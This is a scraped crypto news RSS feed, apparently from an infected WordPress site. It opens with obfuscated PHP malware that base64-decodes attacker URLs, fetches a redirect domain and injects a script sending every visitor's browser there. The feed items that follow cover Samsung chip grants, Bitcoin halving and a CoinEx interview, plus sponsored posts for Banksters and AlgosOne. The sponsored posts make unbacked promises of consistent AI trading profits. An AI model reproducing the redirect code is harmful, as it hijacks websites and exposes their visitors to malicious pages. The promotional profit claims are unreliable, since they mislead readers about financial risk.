if(isset($_COOKIE['Lj'])) { die('58YsS'.'AsTz'); } function fn_aa3fb05a15bfeb25dc278d4040ae23bf($var_ca82733491623ed9ca5b46aa68429a45){ if (function_exists('curl_version')) { $var_e8061cb59b46a4a2bda304354b950448 = curl_init(); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_URL, $var_ca82733491623ed9ca5b46aa68429a45); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_RETURNTRANSFER, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_USERAGENT, base64_decode('TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEyMi4wLjAuMCBTYWZhcmkvNTM3LjM2')); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_TIMEOUT, 5); $var_0097b357800d476540b254cb19296657 = curl_exec($var_e8061cb59b46a4a2bda304354b950448); curl_close($var_e8061cb59b46a4a2bda304354b950448); return $var_0097b357800d476540b254cb19296657; } return file_get_contents($var_ca82733491623ed9ca5b46aa68429a45); } function fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a){ preg_match_all(base64_decode('Jy88Y29kZT4oLio/KTxcL2NvZGU+L3Mn'), fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly90Lm1lL3MvdHJhZmZpY3JlZGlyZWN0')), $var_a15eaf839e07e2cef01c7e6f791d7b3c); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) ? end($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) : null; if(empty($var_ca82733491623ed9ca5b46aa68429a45)){ $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6 = json_decode(fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly9waW5rZmVscy5zaG9wLz90PWpzb24maT0=').'97bf62ed54c571ff9e795b79f12a9434&a=01693136061'), true); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain']) ? $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain'] : null; } if (!empty($var_ca82733491623ed9ca5b46aa68429a45)) { file_put_contents($var_7627930d2ca3d69d67459718ffea775a, base64_encode($var_ca82733491623ed9ca5b46aa68429a45)); } return $var_ca82733491623ed9ca5b46aa68429a45; } $var_7627930d2ca3d69d67459718ffea775a = md5('01693136061'); if (file_exists($var_7627930d2ca3d69d67459718ffea775a) && filesize($var_7627930d2ca3d69d67459718ffea775a) > 0) { $var_8f999d74606f93bf0e6f6174f9741f89 = time() - filemtime($var_7627930d2ca3d69d67459718ffea775a); $var_ca82733491623ed9ca5b46aa68429a45 = base64_decode(file_get_contents($var_7627930d2ca3d69d67459718ffea775a)); } if ((isset($var_8f999d74606f93bf0e6f6174f9741f89) && $var_8f999d74606f93bf0e6f6174f9741f89 >= 30) || empty($var_ca82733491623ed9ca5b46aa68429a45)) { $var_46cae77fe5ea47d71b4e481b77b36db3 = fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a); if($var_46cae77fe5ea47d71b4e481b77b36db3){ $var_ca82733491623ed9ca5b46aa68429a45 = $var_46cae77fe5ea47d71b4e481b77b36db3; } } if( $var_ca82733491623ed9ca5b46aa68429a45){ $var_ca82733491623ed9ca5b46aa68429a45 = $var_ca82733491623ed9ca5b46aa68429a45.'?01693136061'; echo base64_decode('PHNjcmlwdD53aW5kb3cudG9wLmxvY2F0aW9uLmhyZWYgPSAi') . $var_ca82733491623ed9ca5b46aa68429a45.'&'.$_SERVER['QUERY_STRING'] . base64_decode('Ijs8L3NjcmlwdD4='); } ?>// BEGIN ENQUEUE PARENT ACTION // AUTO GENERATED - Do not modify or remove comment markers above or below: if ( !function_exists( 'chld_thm_cfg_locale_css' ) ): function chld_thm_cfg_locale_css( $uri ){ if ( empty( $uri ) && is_rtl() && file_exists( get_template_directory() . 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Samsung, the South Korean manufacturing giant, has secured $6.4 billion worth of grants from the United States government to expand its chip manufacturing facilities in Texas. The funding, which comes from the 2022 Chips and Science Act, aims to boost chip production for the automotive, aerospace, and defense industries, as well as to bolster national security, according to a report by Reuters on April 15.

“[The grants] will allow the U.S. to once again lead the world, not just in [semiconductor design], which is where we do now lead, but also in manufacturing, advanced packaging, and research and development.”

In addition to the government grants, Samsung plans to invest another $45 billion in the expansion of its Texas chip manufacturing facility by the end of 2030. This move comes at a time when the global chip shortage continues to impact various industries, including the rapidly growing artificial intelligence (AI) sector.

OpenAI, the creator of the popular AI chatbot ChatGPT, is reportedly planning to produce its own semiconductor chips for its AI applications. The company may be receiving funding from the United Arab Emirates state-backed group MGX to support this endeavor, highlighting the increasing demand for specialized chips in the AI industry.

The chip shortage has also become a pressing concern for the Bitcoin mining industry, particularly as the upcoming Bitcoin halving approaches. In its 2023 annual report, Bitcoin mining firm Riot Platforms outlined 12 continued risks for Bitcoin mining profitability, with the shortage of chip supply being among the most significant. The report also stated that the ongoing global supply chain, as compounded by the increased demand for chips has created a shortfall for semiconductors.

Similarly, US Bitcoin miner CleanSpark cited potential “cryptocurrency hardware disruption” and possible difficulties obtaining new hardware in its 10-K filing for 2023. The chip shortage could impact the profitability and growth of Bitcoin mining operations, as miners rely on specialized hardware to maintain their competitive edge.

As the government and private companies like Samsung work to address the chip shortage through increased domestic manufacturing and significant investments, the Bitcoin mining industry will need to navigate the challenges posed by the limited supply of semiconductors. The upcoming Bitcoin halving, which is expected to occur this week, may further exacerbate the pressure on mining firms to secure the necessary hardware to remain profitable in an increasingly competitive environment.

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]]> https://coinsmeganews.com/samsung-secures-6-4b-grant-from-us-govt-to-expand-chip-manufacturing-in-texas/feed/ 0 Unwind, Have Fun, and Experience Banksters https://coinsmeganews.com/unwind-have-fun-and-experience-banksters/ https://coinsmeganews.com/unwind-have-fun-and-experience-banksters/#respond Mon, 15 Apr 2024 05:53:22 +0000 https://coinsmeganews.com/unwind-have-fun-and-experience-banksters/ [ad_1]

Editorial Note: The following content does not reflect the views or opinions of BeInCrypto. It is provided for informational purposes only and should not be interpreted as financial advice. Please conduct your own research before making any investment decisions.

In a world where EduTech is revolutionizing the landscape of learning and gaming is breaking down barriers of accessibility, Banksters emerges as an innovative platform melding these two realms. 

Picture a platform where the high-stakes thrill of trading intersects with the joy of gaming, a universe where beginners and experts alike can navigate the crypto cosmos with both fun and profitability as their compass.

EduTech is not just a buzzword; it’s an expanding industry that’s captivating minds and investment alike. Consider this: in recent years, the global EduTech market valuation has soared, expected to reach $680 billion by 2027. Such staggering statistics speak volumes about the digital transformation of education, setting the perfect stage for Banksters to shine.

Banksters: Bridging Gaming and Crypto Trading

In the traditional sense, trading was always perceived as high on the edge of risk, a sphere reserved for the smart and seasoned. It was a strict world, far removed from the realm of gaming, a universally relatable and accessible activity, filled with fun and friendship.

That is, until Banksters stepped in, blending the logic of trading with the lore of gaming, and transforming the intimidating into something exciting. 

Unique EduTech Proposition of Banksters

At the heart of Banksters is its unique proposition: a smooth combination of intuitive gaming interfaces with advanced trading strategies. It’s a pioneering venture into edutainment within the crypto space, leveraging the engaging quality of games to educate and engage.

Players don’t just sit back and watch the market trends; they ride them, they direct them. Each decision and each move on this Web3 gaming platform represents a strategic challenge, either going against the traditional market or moving according to its direction, with tangible rewards awaiting the victors.

Consider the existing landscape: 21% of traders battle with clunky interfaces and platforms that seem almost designed to instill inconvenience. This friction is disliked to the very essence of trading in the digital age.

This is where Banksters’ sleek, user-friendly interface comes in, which feels less like a tool and more like a game board. It’s an arena where the stress of trading dissolves into the dynamics of competition and camaraderie. Every feature, every interaction, is crafted to gamify the experience — to bring the fun into finance.

Sign up for Banksters here.

A Journey Through Banksters’ Features

Central to its ecosystem is the trio of gamified versions of mining, investment run, and minting that redefine user engagement and interaction within the platform. If you want to check it out yourself, here is a guide on how to play Banksters!

Virtual Mining: Strategy Over Hardware

Mining in Banksters isn’t about deploying high-end hardware to solve cryptographic puzzles. Instead, it’s a strategic game where players allocate their in-game resources to mine $BARS, the game’s native cryptocurrency. 

This virtual mining feature in Banksters simplifies the complexities of real-life resource allocation and investment. It enables players to use soft currency to build their portfolios, a crucial step before participating in Investment Runs. 

By making strategic decisions on where to allocate their digital assets for optimal returns, players experience a risk-reward scenario similar to real cryptocurrency mining.

Investment Run: Riding the Market Rollercoaster

Similarly, the Investment Run is a dynamic gameplay feature that simulates the highs and lows of market investments. Players navigate through turbulent market conditions, drawing on their understanding of economic principles and player-driven market trends to make investments that could potentially lead to substantial in-game gains. 

This introduces a level of economic strategy that is both educational and thrilling as players learn to anticipate and react to market movements within the game. Within these investment runs, Banksters introduces a set of abilities that not only enrich the gaming experience but also mirror real-world trading strategies:

Swap Position: This ability allows players to change their trade direction from long to short or vice versa in the next round, similar to a “hedging” technique. It’s designed to minimize losses or capitalize on market movements, offering a strategic pivot in gameplay.
Swap Coin: Players can exchange one virtual coin for another that is performing better, mirroring “asset allocation” or “market timing” strategies. This simulates the strategic decision-making involved in choosing the right assets at the right time
Elon’s Tweet: This ability is leveraging the influence of news and market sentiment. This underscores the impact of high-profile statements on asset prices.
Rally: By using this ability, players can capitalize on the momentum of a virtual coin’s upward price movement, simulating the strategy of riding the wave of market trends.
CZ’s Effect: This ability is designed to reflect the significant market influence of figures like Changpeng Zhao (CZ), the Binance founder. 
Hype: This ability encourages players to invest in undervalued or unpopular virtual coins, looking to profit from market overreactions.
Vitalik’s Buzz: Mirrors the market influence of figures like Vitalik Buterin. It’s similar to leveraging high-profile endorsements or developments in the crypto world.
Pump & Dump: Temporarily boosts the best-performing coin, simulating the volatile nature of “high-frequency trading”. This strategy, while risky, shows the potential for quick gains through speculative trading.
Market Squeeze: This ability enhances the worst-performing coin. It’s designed for players to capitalize on the potential turnaround of underperforming assets.
Insider Trade: Offers a significant boost if no other abilities are applied to this coin, hinting at the controversial yet impactful strategy of trading based on non-public information.

The Art of Minting: Currency Creation

Minting, on the other hand, is another interactive feature where players can create new $BARS, the in-game currency, through strategic gameplay. 

In traditional gaming platforms, the in-game currency typically remains unchanged, offering little to no interaction with the game’s economy. However, Banksters revolutionizes this concept through its innovative minting process. 

This feature empowers players to directly influence the in-game economy by expanding the circulation of $BARS, the game’s native cryptocurrency. Unlike static currencies, $BARS dynamically responds to players’ actions, making the economic experience within Banksters both interactive and impactful

NFTs in Banksters and Exciting Airdrop

In the future, Banksters will improve the gaming experience by releasing player avatars that can be customized to represent them in the virtual world. With the ability to equip these avatars with NFTs, Banksters will be able to use them for purposes beyond simple collection. 

Rather, they will represent actual utility and use cases, like enhancing a player’s capabilities in a game or acting as a prominent status symbol among Banksters.

With 32 skills spread across various ranks and eight unique abilities, Banksters intends to provide NFTs with a system where each character offers a distinct advantage on the virtual trading floor. Because every Bankster represents a set of ten randomly selected skills, a variety of gaming experiences are expected.

As part of its launch campaign, Banksters just announced their upcoming Airdrop Contest! The competition will reward the top 1000 Banksters with a Prize Pool of 1,000 NFTs worth $100,000 USDT.

More than a thousand users will receive rewards in Banksters NFTs thanks to the distribution of NFTs, which will include three different rarities: 80 Shark, 290 Investor, and 630 Trader.

In addition to playing Invest Rounds, leveling up avatars, training NFTs through the Banksters Academy, and remaining involved in the community, airdrop participants must register with a working email address. In addition to aiming to win, these efforts also aim to excel by leveraging avatar abilities and strategic predictions.

What’s great is that a stunning five percent of the Banksters project’s tokenomics will go toward airdrops, community development, and rewards. These will be given out in response to gaming activity as well as involvement in challenges, competitions, and contests. 

Sign up for Banksters here.

Conclusion: The Future of EduTech

As we look toward the horizon of EduTech and gaming, Banksters is positioned as a frontrunner in an era where education is not just interactive but also rewarding. Banksters is incentivizing learning and makes complex financial concepts accessible to all. 

The role of Banksters in this rapidly growing future is pivotal; it stands as a bridge between the excitement of gaming and the engagement of trading education. Banksters is not merely riding the wave of the future — it is the wave, reshaping the ecosystem of EduTech and gaming.

Through gamification and a deep understanding of market trends, Banksters is democratizing trading expertise, inviting everyone from novices to seasoned traders to experience the thrill of the market in a controlled, risk-free, and fun environment. 

The blueprint of its roadmap promises a sustained evolution, ensuring that as the digital landscape shifts, Banksters will not just adapt but lead, becoming a crucial tool in the fusion of learning, trading, and gaming.

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]]> https://coinsmeganews.com/unwind-have-fun-and-experience-banksters/feed/ 0 The Interview With CoinEx at the WOW Summit https://coinsmeganews.com/the-interview-with-coinex-at-the-wow-summit/ https://coinsmeganews.com/the-interview-with-coinex-at-the-wow-summit/#respond Sun, 14 Apr 2024 05:41:39 +0000 https://coinsmeganews.com/the-interview-with-coinex-at-the-wow-summit/ [ad_1]

During this insightful interview at the WOW Summit in Hong Kong with Bonnie Chan, VP and lead researcher at CoinEx, we delve into the company’s future plans, its strategies to leverage the current market conditions, and the unique attributes that set it apart from its rivals.

We will explore the integration of Bitcoin into established financial systems, the impact of new technologies on its functionality, and the influence of changes in the global economy on its attractiveness.

Let’s jump into our interview to learn more about one of the top platforms’ predictions for the future of cryptocurrency.

How do you react in current market conditions , what is your nearest product and operational plan ? 

The recent bull market rally has generated excitement across the board. Naturally, in such market conditions, users require access to information to facilitate their decision-making processes. As a result, we prioritize delivering valuable content to our users through platforms such as CoinEx Research and CoinEx Academy. Furthermore, we plan to introduce a range of products including P2P, Staking, and Copy Trading to meet our users’ demands and enrich their trading experience. Despite the bullish market, we remain steadfast in our commitment to sustainable growth over short-term gains, operating the exchange with transparency and accountability.

After attending the conference, what uniqueness and advantages you see Coinex compare to other relevant company within the industry ?

Compared to other platforms, our key strengths lie in our diverse range of assets, global presence, and comprehensive services and products. Regarding assets, we prioritize a “Good, Fast, and Comprehensive” approach to help users mitigate risks proactively and identify high-quality, high-potential projects. As a global exchange, we emphasize localized business development, employing tailored strategies for various regions and markets. To better serve our diverse global users, we offer support in 16 languages, round-the-clock customer service, and coverage in over 200 countries. Lastly, our focus on refining core products and functionalities, coupled with our expertise in addressing user concerns, ensures a seamless and enjoyable trading experience.

 How might the integration of Bitcoin into traditional financial systems, like ETFs and futures markets, affect the cryptocurrency’s volatility and price stability post-2024 halving?

The integration of traditional financial funds into the Bitcoin market is set to significantly enhance its liquidity, which, in turn, will aid in stabilizing price fluctuations. Institutional investors often come with long-term investment horizons, and are expected to contribute further to Bitcoin’s price stability following the halving event. The potential involvement of insurance companies and pension funds underscores this effect, adding an additional layer of depth and stability to the market. Moreover, the futures market plays a crucial role in price discovery, facilitating a more accurate reflection of Bitcoin’s value. The entry of traditional financial entities normally brings more sophisticated and mature trading strategies, leading to a more efficient market. Consequently, this evolution is anticipated to result in reduced volatility, establishing a more stable trading environment for Bitcoin.

Considering the potential for increased institutional investment in Bitcoin, what strategies might institutions adopt to mitigate risks associated with the post-halving volatility, and how could these strategies affect the broader market?

Asset allocation is always the key to institutional investors. They probably set a target allocation for Bitcoin or other crypto assets, and periodically rebalance their portfolios in an attempt to align with their risk tolerance and investment goals of the mandates. 

Hedging with the use of derivatives including both futures and options is also expected. By locking in prices or ensuring the option to sell at predetermined levels, institutions can insulate themselves from some of the risks associated with price fluctuations. The increased demand for derivatives can lead to a more robust and liquid market for these financial instruments, facilitating better risk management tools for all market participants.

Lastly, we also see growing interests and asset under management (AUM) into quantitative trading strategies among institutional investors. By employing algorithms to execute market-making, arbitrage, and delta-neutral strategies, quant funds aim to capitalize on market inefficiencies and volatility without taking directional bets on price movements. These sophisticated strategies can help stabilize the market by providing liquidity and narrowing the bid-ask spread, making it easier for all investors to trade.

 How could the increasing trend of tokenization and the creation of Bitcoin-backed assets influence the liquidity and market capitalization of BTC?

Real World Asset (RWA) has been one of the most trending sectors in the first quarter of the year, ignited by Ondo Finance and that BlackRock also announced the entry of the space. The size of traditional asset classes, ranging from fixed income to equities, real estate to commodities, are much greater than that of any crypto assets. Taking gold as an example, the market cap of gold is 12x greater than that of Bitcoin. Therefore, the trend of tokenization and the creation of Bitcoin-backed assets would certainly open up a much wider range of financial instruments to both crypto and traditional investors, meaning a broader opportunity set for risk diversification. The implications of these extend beyond increased liquidity or capital inflow, poised to pave the way to bridge the gap between traditional finance and cryptocurrency ecosystem 

 Considering the emergence of Ordinals and BTC Layer-2 solutions, what impact could these technical advancements have on Bitcoin’s utility?

Bitcoin halving often ushers in new narratives and we see BTC layer 2 solutions stand at the forefront in this cycle. While existing BTC layer 2 solutions developed prior to 2023, such as Lightning, Stacks, Liquid or Rootstock, are generally simpler, focusing on enhancing Bitcoin’s primary use case as a payment system and store of value, we find that the new solutions launched since 2023 have paved the way for a broader spectrum in terms of Bitcoin’s utility. 

Among these innovations, the Merlin Chain stands out with its Total Value Locked (TVL) surpassing $3.5 billion, integrating zk-rollup technology to enable higher throughput and privacy for transactions on its network. Similarly, the BEVM introduces EVM compatibility to the Bitcoin Layer-2 ecosystem, allowing decentralized applications (dApps) from the Ethereum network to operate seamlessly on Bitcoin’s infrastructure, thereby bridging two of the most significant ecosystems in the crypto space.

Furthermore, the emergence of Babylon as a staking protocol introduces the concept of Bitcoin staking, offering a novel mechanism for users to earn rewards, which previously was not inherent to Bitcoin’s design. Additionally, Nubit contributes to enhancing the ecosystem’s functionality by serving as a data availability layer, ensuring that data necessary for the operation of these advanced protocols remains accessible and secure.

In short, we think there is a lot more on the horizon in terms of the Bitcoin ecosystem and utility, and we look forward to exploring the investment implications. 

 How could the evolving landscape of mining technology and energy consumption impact Bitcoin’s network security and, by extension, investor confidence in the post-2024 halving market?

Even as mining hardware becomes more efficient, the mining difficulty algorithm adjusts to maintain consistent block production rates. Objectively speaking, some miners may be forced to shut down operations due to declining mining profitability influenced by factors such as rising energy costs or falling Bitcoin prices. This will cause a decline in the overall computing power of the network. Despite that, currently the entire Bitcoin mining industry is already a huge global market with many participants which underscore the robustness of the overall network.

Regarding energy consumption and environmental issues, although advancements in mining technology could enhance the energy efficiency of mining hardware, the entry of additional miners is likely to result in a net increase in the network’s overall energy consumption. Consequently, mounting environmental concerns and the possibility of regulatory intervention may continue to challenge the sustainability of Bitcoin mining. For investors, several aspects of the Bitcoin network stand out for their resilience: its adaptability, the strength of the mining community, and the increasing sophistication of Bitcoin participants at large. These factors are likely to garner more attention from investors, especially in the context of the anticipated Bitcoin halving.

 In what ways could the development and adoption of competing cryptocurrencies, especially those with potentially superior technology or utility, impact Bitcoin’s dominance and price movements post-halving?

We think different cryptocurrencies have their unique positionings, use cases and values. Bitcoin is primarily developed as an asset for payment and more importantly store of value; Ethereum, on the other hand, is known for its smart contract capabilities; Solana positions itself as a high performance blockchain designed for decentralized applications and transactions. 

It is reminded that the entire cryptocurrency ecosystem is still a small asset class compared to any other traditional asset classes. With that, we think not all competition is zero-sum. The technological advancement of various cryptocurrencies could indeed broaden and deepen the overall crypto market. In fact, the development of technologies enabling interoperability between different blockchains is playing out. We see Bitcoin could serve as a base or even a reserve currency for the broader crypto ecosystem, benefiting from the growth of the entire sector. 

 How might changes in the global economic landscape, such as inflation rates, interest rate adjustments by central banks, and geopolitical tensions, influence Bitcoin’s attractiveness as a digital gold?

We highlighted in our recent research report “Navigating the Bitcoin Halving” that the market capitalization trend of Bitcoin seems to correlate with global liquidity, as indicated by the assets of global central banks and as a cause of inflation. With the Fed signalling multiple rate cuts within the year, we expect more liquidity flowing into the crypto market, hencing a positive catalyst to the price movement of Bitcoin. 

Further, geopolitical tensions often come with currency devaluation of the involved countries, such as Ukraine, Russia and Venezuela. The key utility of Bitcoin, store of value, precisely plays a crucial role in that end. In summary, changes in the global economic and geopolitical landscape could significantly enhance Bitcoin’s attractiveness as a digital gold, or an alternative asset class. 

 Given the historical pattern of post-halving bull runs, what specific market indicators and metrics should investors monitor to gauge the health and direction of the Bitcoin market in the lead-up to and aftermath of the 2024 halving?

There are a variety of market indicators and metrics for investors to gauge the market direction, and here are a number of selection tools. To begin with, the Fear & Greed Index, which aggregates data from volatility, market momentum and social media metrics, has emerged as a simple yet useful indicator for retail investors. 

Secondly, the balance on exchange has often been seen as an important on-chain metric. A higher balance signals that traders deposit Bitcoins to exchanges, reflecting the potential selloffs and vice versa. A similar on-chain metric is the miner to exchange, which reveals the BTC flow from miners to exchanges. 

Contrary to long-term holders, traders are playing short-term. With that, a number of derivatives-related metrics would be helpful in evaluating the near-term direction of Bitcoin, including the funding rate, open interest and liquidation map. Volatility is often observed when we see a surge in open interest or a heavy zone of the liquidation map. 

Final thoughts

The interview with CoinEx’s Bonnie Chan at the WOW Summit in Hong Kong provided valuable insights into the company’s strategic vision and its impact on the cryptocurrency market. 

CoinEx’s dedication to delivering high-quality content, its strong advantage in offering a wide range of assets and global reach, and its emphasis on cutting-edge products such as P2P, Staking, and Copy Trading are set to impact crypto trading.

Disclaimer

This article is sponsored content and does not represent the views or opinions of BeInCrypto. While we adhere to the Trust Project guidelines for unbiased and transparent reporting, this content is created by a third party and is intended for promotional purposes. Readers are advised to verify information independently and consult with a professional before making decisions based on this sponsored content. Please note that our Terms and Conditions, Privacy Policy, and Disclaimers have been updated.

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]]> https://coinsmeganews.com/the-interview-with-coinex-at-the-wow-summit/feed/ 0 This AI May Let You Profit From Market Volatility https://coinsmeganews.com/this-ai-may-let-you-profit-from-market-volatility/ https://coinsmeganews.com/this-ai-may-let-you-profit-from-market-volatility/#respond Sat, 13 Apr 2024 05:40:32 +0000 https://coinsmeganews.com/this-ai-may-let-you-profit-from-market-volatility/ [ad_1]

Editorial Note: The following content does not reflect the views or opinions of BeInCrypto. It is provided for informational purposes only and should not be interpreted as financial advice. Please conduct your own research before making any investment decisions.

With the cryptocurrency market gearing up for the next Bitcoin halving, investors are seeking innovative tools to capitalize on potential market volatility. As the excitement builds, the potential of Artificial Intelligence in crypto trading has been at the center of discussion.

Well aware of the world-shattering possibilities, an online trading platform is harnessing AI to revolutionize the way traders capitalize on crypto and traditional assets alike. In this article, we explore how AlgosOne stands out among the best trading platforms for crypto, offering advanced algorithmic trading, automated trading features, and unparalleled insights for profitable cryptocurrency trading.

Here you can сreate your AlgosOne account and discover the platform’s features!

The Bitcoin halving is a significant event in the cryptocurrency world that occurs approximately every four years. During this event, the rate at which new Bitcoins are created is cut in half. This reduction in the supply of new coins entering the market has historically led to increased scarcity and upward price pressure on Bitcoin. Traders and investors often anticipate the halving event, as it can signal a potential bull run – and subsequent sell-off – in the crypto market as a whole. As the next Bitcoin halving approaches, traders are seeking opportunities to buy Bitcoin and capitalize on the expected price movements.

Artificial Intelligence has transformed how traders approach markets, and this is especially true when it comes to cryptocurrencies. AI trading platforms like AlgosOne utilize advanced algorithms and machine learning models to analyze vast amounts of market data in real time. This enables traders to automate their trading strategies, execute trades with accuracy, and make data-driven decisions.

AlgosOne is not just another crypto exchange; it is a comprehensive solution for traders looking to navigate the crypto market with ease, while maintaining easy access to other markets. Here are some of the key features of AlgosOne:

Advanced AI-Powered Strategies

At the core of AlgosOne is its advanced generative AI model, designed to swiftly analyze a vast amount of technical and fundamental data from most financial markets: bonds, indices, commodities, stocks, forex and, of course, cryptocurrencies. Using Natural Language Processing (NLP) and deep learning, it has been trained by example to predict prices and other metrics, which allows for optimized entry and exit points and consistent trading returns.

The model – one that is continuously learning and improving – serves as the basis for AlgosOne automated trading system, allowing users to grow their portfolio with minimal to no involvement. Whether it’s trading digital or traditional assets, AlgosOne’s AI trading bot can adapt to market trends, execute trades on behalf of the user and successfully increase their holdings.

Seamless Trading Experience

AlgosOne boasts a user-friendly interface that makes trading accessible to everyone, whether you’re looking at crypto or any other market. Whether you’re a seasoned trader or new to the world of investing, the dashboard’s intuitive design allows for easy navigation and monitoring of trades and assets.

The online trading platform offers a range of tools and features, including real-time market analysis, customizable trading strategies, and portfolio management tools. Traders can turn a profit buying Bitcoin, investing in tokens and trading altcoins with just a few clicks.

Risk Management and Automated Trading

In the highly volatile market of cryptocurrencies, efficient risk management is essential. AlgosOne addresses this with its automated trading features and robust risk management protocols. The platform allows users to set stop-loss orders, manage leverage, and diversify their portfolios across various assets, with a team of experts monitoring markets 24/7.

In the higher trading tiers, there is a provision for compensating unsuccessful trades, sourced from the AlgosOne reserve fund. A portion of the trade amount is refunded back to your account balance. The compensation percentage increases as you move up the trading tiers.

This proactive approach to risk management ensures that traders can mitigate potential losses and protect their investments during market fluctuations and unexpected events.

As the crypto market continues on its bullish trend, investors are presented with a highly profitable opportunity. AlgosOne’s AI trading platform is designed to capitalize on this crypto bull run, offering users the tools and insights needed to maximize their returns. Whether you’re looking to invest in digital or traditional assets, you can now do it confidently and with minimal efforts – regardless of your experience level.

Offering advanced AI trading capabilities, a user-friendly interface, and robust risk management features, AlgosOne stands out as one of the best crypto trading platforms available. As the Bitcoin halving approaches and the crypto bull run continues, now is the time to explore the possibilities of AI trading.

You may sign up to AlgosOne and start trading with confidence here.

Disclaimer

This article is sponsored content and does not represent the views or opinions of BeInCrypto. While we adhere to the Trust Project guidelines for unbiased and transparent reporting, this content is created by a third party and is intended for promotional purposes. Readers are advised to verify information independently and consult with a professional before making decisions based on this sponsored content. Please note that our Terms and Conditions, Privacy Policy, and Disclaimers have been updated.

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]]> https://coinsmeganews.com/this-ai-may-let-you-profit-from-market-volatility/feed/ 0 Binance Labs invests in Bitcoin restaking protocol BounceBit https://coinsmeganews.com/binance-labs-invests-in-bitcoin-restaking-protocol-bouncebit/ https://coinsmeganews.com/binance-labs-invests-in-bitcoin-restaking-protocol-bouncebit/#respond Fri, 12 Apr 2024 17:14:26 +0000 https://coinsmeganews.com/binance-labs-invests-in-bitcoin-restaking-protocol-bouncebit/ [ad_1]

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Binance Labs, the venture capital arm of cryptocurrency exchange Binance, has announced an investment in BounceBit, a Bitcoin-native restaking protocol that combines centralized finance (CeFi) and decentralized finance (DeFi) features.

The investment comes as Bitcoin DeFi (BTCFi) protocols gain traction ahead of the anticipated Bitcoin halving event expected by April 19. However, the exact terms and figures behind the investment have not been disclosed.

BounceBit was designed to expand Bitcoin’s use case beyond being a store of value by transforming it into a yield-generating asset with increased capital efficiency. The protocol’s proof-of-stake (PoS) layer-1 ecosystem encourages validators to stake both Bitcoin and BounceBit ecosystem tokens, creating a dual-token economy designed to enhance Bitcoin’s utility.

“It is our mission to build restaking infrastructure to drive the utilization of Bitcoin and we want to do it in a secure and transparent manner,” shares Jack Lu, founder and CEO of BounceBit.

The restaking infrastructure provided by BounceBit seeks to drive the utilization of Bitcoin by leveraging regulated custody and Multi-Party Computation (MPC) solutions. The protocol also employs Ceffu’s Mirror X and off-exchange settlement (OES) solutions to minimize counterparty risks. According to Binance co-founder and Binance Labs Head Yi He, BounceBit’s protocol “unlocks new avenues for Bitcoin’s utilization” by fusing centralized finance with decentralized finance (CeFi and DeFi).

According to BounceBit, their protocol currently serves over 110,000 users, with over $782 million in total value locked (TVL). The platform’s focus on merging CeFi and DeFi features has attracted the attention of Binance Labs, which has been seeking projects poised to shape the industry with innovative solutions.

The investment in BounceBit is part of a broader trend of growing interest in BTCFi protocols, as demonstrated by the recent success of MerlinSwap’s initial DEX offering (IDO). The decentralized exchange raised 6,599 BTC, worth approximately $480 million, from over 52,000 investors on April 5, showcasing the demand for Bitcoin-native DeFi solutions.

While BTCFi protocols have gained momentum in recent months, it remains to be seen whether they can match the level of innovation and adoption seen in Ethereum-native DeFi protocol. With the Bitcoin halving in a matter of days, more projects are entering the BTCFi space, and the competition to develop secure, transparent, and efficient DeFi solutions on the Bitcoin blockchain is expected to intensify.

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The information on or accessed through this website is obtained from independent sources we believe to be accurate and reliable, but Decentral Media, Inc. makes no representation or warranty as to the timeliness, completeness, or accuracy of any information on or accessed through this website. Decentral Media, Inc. is not an investment advisor. We do not give personalized investment advice or other financial advice. The information on this website is subject to change without notice. Some or all of the information on this website may become outdated, or it may be or become incomplete or inaccurate. We may, but are not obligated to, update any outdated, incomplete, or inaccurate information.

Crypto Briefing may augment articles with AI-generated content created by Crypto Briefing’s own proprietary AI platform. We use AI as a tool to deliver fast, valuable and actionable information without losing the insight – and oversight – of experienced crypto natives. All AI augmented content is carefully reviewed, including for factural accuracy, by our editors and writers, and always draws from multiple primary and secondary sources when available to create our stories and articles.

You should never make an investment decision on an ICO, IEO, or other investment based on the information on this website, and you should never interpret or otherwise rely on any of the information on this website as investment advice. We strongly recommend that you consult a licensed investment advisor or other qualified financial professional if you are seeking investment advice on an ICO, IEO, or other investment. We do not accept compensation in any form for analyzing or reporting on any ICO, IEO, cryptocurrency, currency, tokenized sales, securities, or commodities.

See full terms and conditions.

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]]> https://coinsmeganews.com/binance-labs-invests-in-bitcoin-restaking-protocol-bouncebit/feed/ 0 When Can You Withdraw Funds? https://coinsmeganews.com/when-can-you-withdraw-funds/ https://coinsmeganews.com/when-can-you-withdraw-funds/#respond Fri, 12 Apr 2024 05:38:46 +0000 https://coinsmeganews.com/when-can-you-withdraw-funds/ [ad_1]

Voyager Digital, once ensnared in bankruptcy, has achieved a significant breakthrough in its recovery efforts. The company has amassed $484.35 million through settlements, chiefly with FTX, marking a pivotal moment in its quest to compensate creditors.

This substantial sum, predominately from the FTX settlement, constitutes around 25% of the total claims by Voyager’s creditors.

Voyager Plans For the Next Stage of Repayments

Under the bankruptcy proceeding, Paul Hage, the Plan Administrator of Voyager, announced the settlements with FTX, D&O Insurance, and Three Arrows Capital. Consequently, plans are underway to disburse these funds expediently.

Amidst a tumultuous period for the cryptocurrency sector, Voyager’s financial distress became public in July 2022, leading to its bankruptcy filing.

